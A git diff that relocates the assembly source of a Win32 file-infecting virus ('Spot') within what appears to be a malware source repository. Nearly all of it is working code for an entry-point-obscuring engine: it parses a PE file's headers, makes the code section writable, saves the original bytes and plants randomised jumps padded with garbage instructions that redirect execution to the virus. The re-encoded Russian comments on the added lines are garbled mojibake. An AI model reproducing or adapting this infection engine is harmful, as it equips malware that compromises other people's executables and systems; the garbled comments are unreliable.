diff --git a/Win32/Virus.Win32.Spot.asm b/Win32/Infector/Virus.Win32.Spot.asm similarity index 51% rename from Win32/Virus.Win32.Spot.asm rename to Win32/Infector/Virus.Win32.Spot.asm index 09e37f9945e7f09d0b6bbd69002314ee6b2f8c9f..c7c8b9b61b3ccb309aef1db9562f46a65c1768f5 100644 --- a/Win32/Virus.Win32.Spot.asm +++ b/Win32/Infector/Virus.Win32.Spot.asm @@ -33,21 +33,21 @@ ; (+) RANDOM LENGTH OF JUMP ; ;------------------------------------------------------------------------------; epo: - push esi edi ; Сохраняем в стэке esi - ; и edi - mov [ebp+map_address],edx ; Сохраняем адрес файла в - ; памяти - call get_head ; Получаем PE заголовок + push esi edi ; Сохраняем РІ стэке esi + ; Рё edi + mov [ebp+map_address],edx ; Сохраняем адрес файла РІ + ; памяти + call get_head ; Получаем PE заголовок ; - call search_eip ; Вычисляем новую точку - ; входа - call find_code ; Ищем начало кода в этом - ; файле - call spots ; Помещаем туда переход - ; на вирус - pop edi esi ; Восстанавливаем из стэка - ; edi и esi - ret ; Выходим из подпрограммы + call search_eip ; Вычисляем РЅРѕРІСѓСЋ точку + ; РІС…РѕРґР° + call find_code ; Рщем начало РєРѕРґР° РІ этом + ; файле + call spots ; Помещаем туда переход + ; РЅР° РІРёСЂСѓСЃ + pop edi esi ; Восстанавливаем РёР· стэка + ; edi Рё esi + ret ; Выходим РёР· подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; PE HEADER SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -61,26 +61,26 @@ epo: ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; get_head: - ; Подпрограмма получения - ; PE заголовка + ; Подпрограмма получения + ; PE заголовка - pusha ; Сохраняем всё в стэке + pusha ; Сохраняем РІСЃС‘ РІ стэке mov ebx,[edx + 3ch] ; add ebx,edx ; ; - mov [ebp + PE_header],ebx ; сохраняем PE заголовок + mov [ebp + PE_header],ebx ; сохраняем PE заголовок mov esi,ebx ; mov edi,esi ; mov ebx,[esi + 28h] ; - mov [ebp + old_eip],ebx ; Сохраняем старую точку - ; входа (eip) + mov [ebp + old_eip],ebx ; Сохраняем старую точку + ; РІС…РѕРґР° (eip) mov ebx,[esi + 34h] ; - mov [ebp + image_base],ebx ; Сохраняем - ; виртуальный адрес - ; начала программы - popa ; Вынимаем всё из стэка - ret ; Выходим из подпрограммы + mov [ebp + image_base],ebx ; Сохраняем + ; виртуальный адрес + ; начала программы + popa ; Вынимаем РІСЃС‘ РёР· стэка + ret ; Выходим РёР· подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; NEW ENTRY POINT SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -93,31 +93,31 @@ get_head: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; search_eip: - ; Подпрограмма вычисления - ; новой точки входа + ; Подпрограмма вычисления + ; РЅРѕРІРѕР№ точки РІС…РѕРґР° - pusha ; Сохраняем всё в стэке + pusha ; Сохраняем РІСЃС‘ РІ стэке - mov esi,[ebp+PE_header] ; Кладём в esi указатель - ; На PE заголовок + mov esi,[ebp+PE_header] ; Кладём РІ esi указатель + ; РќР° PE заголовок mov ebx,[esi + 74h] ; shl ebx,3 ; xor eax,eax ; - mov ax,word ptr [esi + 6h] ; Количество объектов - dec eax ; (нам нужен последний-1 - mov ecx,28h ; заголовок секции) - mul ecx ; * размер заголовка - add esi,78h ; теперь esi указывает - add esi,ebx ; на начало последнего - add esi,eax ; заголовка секции + mov ax,word ptr [esi + 6h] ; Количество объектов + dec eax ; (нам нужен последний-1 + mov ecx,28h ; заголовок секции) + mul ecx ; * размер заголовка + add esi,78h ; теперь esi указывает + add esi,ebx ; РЅР° начало последнего + add esi,eax ; заголовка секции mov eax,[esi+0ch] ; - add eax,[esi+10h] ; Сохраняем новую точку - mov [ebp+new_eip],eax ; входа + add eax,[esi+10h] ; Сохраняем РЅРѕРІСѓСЋ точку + mov [ebp+new_eip],eax ; РІС…РѕРґР° - popa ; Вынимаем всё из стэка + popa ; Вынимаем РІСЃС‘ РёР· стэка - ret ; Выходим из подпрограммы + ret ; Выходим РёР· подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; FIND START OF CODE SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -130,59 +130,59 @@ search_eip: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; find_code: - ; Подпрограмма поиска начала - ; кода + ; Подпрограмма РїРѕРёСЃРєР° начала + ; РєРѕРґР° - mov esi,[ebp+PE_header] ; Кладём в esi указатель - ; На PE заголовок + mov esi,[ebp+PE_header] ; Кладём РІ esi указатель + ; РќР° PE заголовок mov ebx,[esi + 74h] ; - shl ebx,3 ; Получаем + shl ebx,3 ; Получаем xor eax,eax ; - mov ax,word ptr [esi + 6h] ; Количество объектов + mov ax,word ptr [esi + 6h] ; Количество объектов find2: mov esi,edi ; dec eax ; - push eax ; (нам нужен последний-1 - mov ecx,28h ; заголовок секции) - mul ecx ; * размер заголовка - add esi,78h ; теперь esi указывает на - add esi,ebx ; начало последнего - ; заголовка - add esi,eax ; секции - mov eax,[ebp+old_eip] ; В eax ложим точку входа - mov edx,[esi+0ch] ; В edx адрес куда будет - ; мапиться - ; текущая секция - cmp edx,eax ; Проверяем - pop eax ; Вынимаем из стэка eax - jg find2 ; Если больше ищем дальше - add edx,[esi+08h] ; Добавляем виртуальный - ; размер секци - cmp edx,[ebp+old_eip] ; Проверяем - jl find2 ; Если меньше ищем дальше - - mov edx,[esi+0ch] ; Далее вычисляем - ; физическое - mov eax,[ebp+old_eip] ; смещение кода в файле + push eax ; (нам нужен последний-1 + mov ecx,28h ; заголовок секции) + mul ecx ; * размер заголовка + add esi,78h ; теперь esi указывает РЅР° + add esi,ebx ; начало последнего + ; заголовка + add esi,eax ; секции + mov eax,[ebp+old_eip] ; Р’ eax ложим точку РІС…РѕРґР° + mov edx,[esi+0ch] ; Р’ edx адрес РєСѓРґР° будет + ; мапиться + ; текущая секция + cmp edx,eax ; Проверяем + pop eax ; Вынимаем РёР· стэка eax + jg find2 ; Если больше ищем дальше + add edx,[esi+08h] ; Добавляем виртуальный + ; размер секци + cmp edx,[ebp+old_eip] ; Проверяем + jl find2 ; Если меньше ищем дальше + + mov edx,[esi+0ch] ; Далее вычисляем + ; физическое + mov eax,[ebp+old_eip] ; смещение РєРѕРґР° РІ файле sub eax,edx ; add eax,[esi+14h] ; - add eax,[ebp+map_address] ; И потом добавляем базу - ; памяти + add eax,[ebp+map_address] ; Рпотом добавляем базу + ; памяти - mov [ebp+start_code],eax ; Сохраняем начало кода + mov [ebp+start_code],eax ; Сохраняем начало РєРѕРґР° or [esi + 24h],00000020h or 20000000h or 80000000h - ; Меняем аттрибуты - ; кодовой секции + ; Меняем аттрибуты + ; РєРѕРґРѕРІРѕР№ секции - mov eax,[esi+08] ; Вычисляем размер - sub eax,[ebp+old_eip] ; той части кодовой секции, - mov edx,[esi+10h] ; где можно размещать - sub edx,eax ; пятна + mov eax,[esi+08] ; Вычисляем размер + sub eax,[ebp+old_eip] ; той части РєРѕРґРѕРІРѕР№ секции, + mov edx,[esi+10h] ; РіРґРµ можно размещать + sub edx,eax ; пятна mov [ebp+size_for_spot],edx ; - ret ; Возврат из процедуры + ret ; Возврат РёР· процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; @@ -196,26 +196,26 @@ find2: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; spots: - ; Подпрограмма генерации - ; пятен + ; Подпрограмма генерации + ; пятен - mov ecx,1 ; Кладём в ecx единицу + mov ecx,1 ; Кладём РІ ecx единицу ; - call reset ; Подготавливаем данные - call num_spots ; Генерируем случайное число - ; это будет кол-во пятен + call reset ; Подготавливаем данные + call num_spots ; Генерируем случайное число + ; это будет РєРѕР»-РІРѕ пятен tred: - call save_bytes ; Сохраняем затираемы байты - call gen_spot ; Генерируем пятно + call save_bytes ; Сохраняем затираемы байты + call gen_spot ; Генерируем пятно - inc ecx ; Увеличиваем ecx на единицу - cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы - jne tred ; Если нет, то генерируем + inc ecx ; Увеличиваем ecx РЅР° единицу + cmp ecx,[ebp+n_spots] ; Р’СЃРµ пятна сгенерированы + jne tred ; Если нет, то генерируем - call save_bytes ; Сохраняем последние байты - call gen_final_spot ; И генерируем последнее - ; пятно - ret ; Возврат из процедуры + call save_bytes ; Сохраняем последние байты + call gen_final_spot ; Ргенерируем последнее + ; пятно + ret ; Возврат РёР· процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -228,27 +228,27 @@ tred: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; gen_spot: - ; Подпрограмма генерации - ; одного пятна + ; Подпрограмма генерации + ; РѕРґРЅРѕРіРѕ пятна - push eax ecx ; Сохраняем eax и ecx + push eax ecx ; Сохраняем eax Рё ecx - call len_sp_jmp ; Получаем случайную длину - xchg eax,ebx ; прыжка пятна + call len_sp_jmp ; Получаем случайную длину + xchg eax,ebx ; прыжка пятна - call testing ; Проверяем, чтобы пятно - jc quit2 ; не выходило за кодовую - ; секцию + call testing ; Проверяем, чтобы пятно + jc quit2 ; РЅРµ выходило Р·Р° РєРѕРґРѕРІСѓСЋ + ; секцию push ebx xor bx,bx dec bx - mov ecx,[ebp+num1] ; Генерируем первую партию - call garbage ; мусора + mov ecx,[ebp+num1] ; Генерируем первую партию + call garbage ; РјСѓСЃРѕСЂР° pop ebx mov al,0e9h ; stosb ; - mov eax,0 ; Генерируем jmp + mov eax,0 ; Генерируем jmp add eax,ebx ; add eax,ecx ; stosd ; @@ -256,17 +256,17 @@ gen_spot: push ebx xor bx,bx dec bx - mov ecx,[ebp+num2] ; Генерируем вторую партию - call garbage ; мусора + mov ecx,[ebp+num2] ; Генерируем вторую партию + call garbage ; РјСѓСЃРѕСЂР° pop ebx sub edi,[ebp+num2] ; - add edi,[ebp+num1] ; Корректируем edi + add edi,[ebp+num1] ; Корректируем edi add edi,ebx ; quit2: - pop ecx eax ; Восстанавливаем ecx и eax + pop ecx eax ; Восстанавливаем ecx Рё eax - ret ; Возврат из подпрограммы + ret ; Возврат РёР· подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; LAST SPOT GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -279,36 +279,36 @@ quit2: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; gen_final_spot: - ; Подпрограмма генерации - ; финального пятна + ; Подпрограмма генерации + ; финального пятна - push eax ecx ; Сохраняем eax и ecx + push eax ecx ; Сохраняем eax Рё ecx - jc not_big ; Если длина не превышает - inc [ebp+n_spots] ; размера кодовой секции, то -not_big: ; Увеличим кол-во пятен - mov ecx,[ebp+num1] ; Генерируем мусорные - call garbage ; инструкции + jc not_big ; Если длина РЅРµ превышает + inc [ebp+n_spots] ; размера РєРѕРґРѕРІРѕР№ секции, то +not_big: ; Увеличим РєРѕР»-РІРѕ пятен + mov ecx,[ebp+num1] ; Генерируем мусорные + call garbage ; инструкции - push edi ; Сохраняем edi - sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a - mov ebx,edi ; для последнего пятна - pop edi ; Восстанавливаем edi + push edi ; Сохраняем edi + sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a + mov ebx,edi ; для последнего пятна + pop edi ; Восстанавливаем edi mov al,0e9h ; stosb ; mov eax,0 ; - sub eax,5 ; Генерируем финальное - sub eax,ebx ; пятно + sub eax,5 ; Генерируем финальное + sub eax,ebx ; пятно add eax,[ebp+new_eip] ; sub eax,[ebp+old_eip] ; stosd ; - mov ecx,[ebp+num2] ; Генерируем вторую партию - call garbage ; мусорных инструкций + mov ecx,[ebp+num2] ; Генерируем вторую партию + call garbage ; мусорных инструкций - pop ecx eax ; Восстанавливаем ecx и eax - ret ; Возврат из подпрограммы + pop ecx eax ; Восстанавливаем ecx Рё eax + ret ; Возврат РёР· подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -322,29 +322,29 @@ not_big: ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; save_bytes: - ; Подпрограмма сохранения - ; заменяемых байт - - pusha ; Сохраняем всё в стэке - call length1 ; Генерируем длины мусорных - ; инструкций - mov ebx,[ebp+num1] ; Помещаем в ebx первую - add ebx,[ebp+num2] ; и вторую длины - add ebx,5 ; Добавляем к ebx - 5 - - mov esi,edi ; Сохраняем в буфере с - mov edi,[ebp+pointer] ; начала смещение в памяти - mov eax,esi ; на сохраняемые байты + ; Подпрограмма сохранения + ; заменяемых байт + + pusha ; Сохраняем РІСЃС‘ РІ стэке + call length1 ; Генерируем длины мусорных + ; инструкций + mov ebx,[ebp+num1] ; Помещаем РІ ebx первую + add ebx,[ebp+num2] ; Рё вторую длины + add ebx,5 ; Добавляем Рє ebx - 5 + + mov esi,edi ; Сохраняем РІ буфере СЃ + mov edi,[ebp+pointer] ; начала смещение РІ памяти + mov eax,esi ; РЅР° сохраняемые байты stosd ; - mov ecx,ebx ; После этого сохраняем в - mov eax,ecx ; буфере кол-во сохраняемых - stosd ; байт + mov ecx,ebx ; После этого сохраняем РІ + mov eax,ecx ; буфере РєРѕР»-РІРѕ сохраняемых + stosd ; байт - rep movsb ; И в самом конце сохраняем - mov [ebp+pointer],edi ; в буфере сами байты + rep movsb ; Р РІ самом конце сохраняем + mov [ebp+pointer],edi ; РІ буфере сами байты ; - popa ; Вынимаем всё из стэка - ret ; Возврат из подпрограммы + popa ; Вынимаем РІСЃС‘ РёР· стэка + ret ; Возврат РёР· подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESTORE SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -357,32 +357,32 @@ save_bytes: ; OLD ENTRY POINT -> EBX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; restore: - ; Подпрограмма - ; восстановления сохранённых - ; байт + ; Подпрограмма + ; восстановления сохранённых + ; байт - cld ; Поиск вперёд - lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер - mov edx,1 ; В edx кладём - 1 + cld ; РџРѕРёСЃРє вперёд + lea esi,[ebp+rest_bytes] ; Р’ esi указазатель РЅР° буфер + mov edx,1 ; Р’ edx кладём - 1 not_enough: - mov edi,[ebp+old_eip] ; В edi загружаем точку - add edi,[ebp+image_base] ; входа - mov ebx,edi ; Сохраняем edi в ebx - lodsd ; В eax старое смещение - ; байт в памяти - sub eax,[ebp+start_code] ; Отнимаем смещение начала - ; кода и добавляем - add edi,eax ; точку входа - lodsd ; Загружаем в eax кол-во - mov ecx,eax ; байт и кладём их в ecx - rep movsb ; Перемещаем оригинальные - ; байты на старое место - inc edx ; Переходим к следующему - cmp edx,[ebp+n_spots] ; пятну - jl not_enough ; если не все пятна вернули, - ; то восстанавливаем дальше + mov edi,[ebp+old_eip] ; Р’ edi загружаем точку + add edi,[ebp+image_base] ; РІС…РѕРґР° + mov ebx,edi ; Сохраняем edi РІ ebx + lodsd ; Р’ eax старое смещение + ; байт РІ памяти + sub eax,[ebp+start_code] ; Отнимаем смещение начала + ; РєРѕРґР° Рё добавляем + add edi,eax ; точку РІС…РѕРґР° + lodsd ; Загружаем РІ eax РєРѕР»-РІРѕ + mov ecx,eax ; байт Рё кладём РёС… РІ ecx + rep movsb ; Перемещаем оригинальные + ; байты РЅР° старое место + inc edx ; Переходим Рє следующему + cmp edx,[ebp+n_spots] ; пятну + jl not_enough ; если РЅРµ РІСЃРµ пятна вернули, + ; то восстанавливаем дальше quit: ; - ret ; Возврат из процедуры + ret ; Возврат РёР· процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; LENGTH SPOT GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -395,23 +395,23 @@ quit: ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; length1: - ; Подпрограмма генерации - ; длин мусорных инструкций + ; Подпрограмма генерации + ; длин мусорных инструкций mov eax,20 ; - call brandom32 ; Генерируем случайное число - test eax,eax ; в диапазоне 1..19 + call brandom32 ; Генерируем случайное число + test eax,eax ; РІ диапазоне 1..19 jz length1 ; - mov [ebp+num1],eax ; Сохраняем его в переменную + mov [ebp+num1],eax ; Сохраняем его РІ переменную rand2: mov eax,20 ; - call brandom32 ; Генерируем случайное число - test eax,eax ; в диапазоне 1..19 + call brandom32 ; Генерируем случайное число + test eax,eax ; РІ диапазоне 1..19 jz rand2 ; - mov [ebp+num2],eax ; Сохраняем его в вторую - ; переменную - ret ; Возврат из процедуры + mov [ebp+num2],eax ; Сохраняем его РІ вторую + ; переменную + ret ; Возврат РёР· процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESET SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -424,16 +424,16 @@ rand2: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; reset: - ; Подпрограмма инициализации - ; переменных + ; Подпрограмма инициализации + ; переменных mov edi,[ebp+start_code] ; ; - push esi ; Инициализируем переменные + push esi ; Рнициализируем переменные lea esi,[ebp+rest_bytes] ; mov [ebp+pointer],esi ; pop esi ; - ret ; Возврат из процедуры + ret ; Возврат РёР· процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT JUMP LENGTH GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -446,15 +446,15 @@ reset: ; LENGTH OF SPOT JUMP -> EAX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; len_sp_jmp: - ; Подпрограмма генерации - ; длины прыжка + ; Подпрограмма генерации + ; длины прыжка mov eax,150 ; - call brandom32 ; Генерируем случайное число - cmp eax,45 ; в диапазоне 45..149 + call brandom32 ; Генерируем случайное число + cmp eax,45 ; РІ диапазоне 45..149 jle len_sp_jmp ; - ret ; Возврат из процедуры + ret ; Возврат РёР· процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS NUMBER GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -467,18 +467,18 @@ len_sp_jmp: ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; num_spots: - ; Подпрограмма генерации - ; количества пятен + ; Подпрограмма генерации + ; количества пятен - pusha ; Сохраняем всё в стэке + pusha ; Сохраняем РІСЃС‘ РІ стэке - mov eax,40 ; Генерируем случайное число - call brandom32 ; в диапазоне 1..40 - inc eax ; И сохраняем его в - mov [ebp+n_spots],eax ; переменной + mov eax,40 ; Генерируем случайное число + call brandom32 ; РІ диапазоне 1..40 + inc eax ; Рсохраняем его РІ + mov [ebp+n_spots],eax ; переменной - popa ; Вынимаем всё из стэка - ret ; Возврат из процедуры + popa ; Вынимаем РІСЃС‘ РёР· стэка + ret ; Возврат РёР· процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; TESTING SUBROUTINE ; ;------------------------------------------------------------------------------; @@ -491,39 +491,39 @@ num_spots: ; CARRY FLAG ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; testing: - ; Подпрограмма проверки - ; попадения в границу секции - - push edi eax ; Сохраняем edi eax в стэке - - add edi,[ebp+num1] ; Добавим к edi 1-ую длину - ; мусорных инструкций - add edi,[ebp+num2] ; После этого добавим 2-ую - add edi,300 ; И добавим число в которое - ; входит максимальный размер - ; пятна + длина его прыжка - mov eax,[ebp+size_for_spot] ; В eax загрузим размер - ; места для пятен и смещение - add eax,[ebp+start_code] ; в памяти точки входа - - cmp edi,eax ; Сравним eax и edi - clc ; Сбросим carry флаг - jl m_space ; Если edi меньше, то все - ; хорошо - mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем - inc [ebp+n_spots] ; количество пятен и - stc ; устанавливаем carry флаг + ; Подпрограмма проверки + ; попадения РІ границу секции + + push edi eax ; Сохраняем edi eax РІ стэке + + add edi,[ebp+num1] ; Добавим Рє edi 1-СѓСЋ длину + ; мусорных инструкций + add edi,[ebp+num2] ; После этого добавим 2-СѓСЋ + add edi,300 ; Рдобавим число РІ которое + ; РІС…РѕРґРёС‚ максимальный размер + ; пятна + длина его прыжка + mov eax,[ebp+size_for_spot] ; Р’ eax загрузим размер + ; места для пятен Рё смещение + add eax,[ebp+start_code] ; РІ памяти точки РІС…РѕРґР° + + cmp edi,eax ; Сравним eax Рё edi + clc ; РЎР±СЂРѕСЃРёРј carry флаг + jl m_space ; Если edi меньше, то РІСЃРµ + ; хорошо + mov [ebp+n_spots],ecx ; Если нет, то РјС‹ уменьшаем + inc [ebp+n_spots] ; количество пятен Рё + stc ; устанавливаем carry флаг m_space: - pop eax edi ; Вынимаем eax и edi - ret ; Возврат из процедуры + pop eax edi ; Вынимаем eax Рё edi + ret ; Возврат РёР· процедуры ;------------------------------------------------------------------------------; pointer dd 0 ; n_spots dd 0 ; ; num1 dd 0 ; num2 dd 0 ; - ; Данные необходимые для -PE_header dd 0 ; работы мотора + ; Данные необходимые для +PE_header dd 0 ; работы мотора old_eip dd 0 ; image_base dd 0 ; start_code dd 0 ;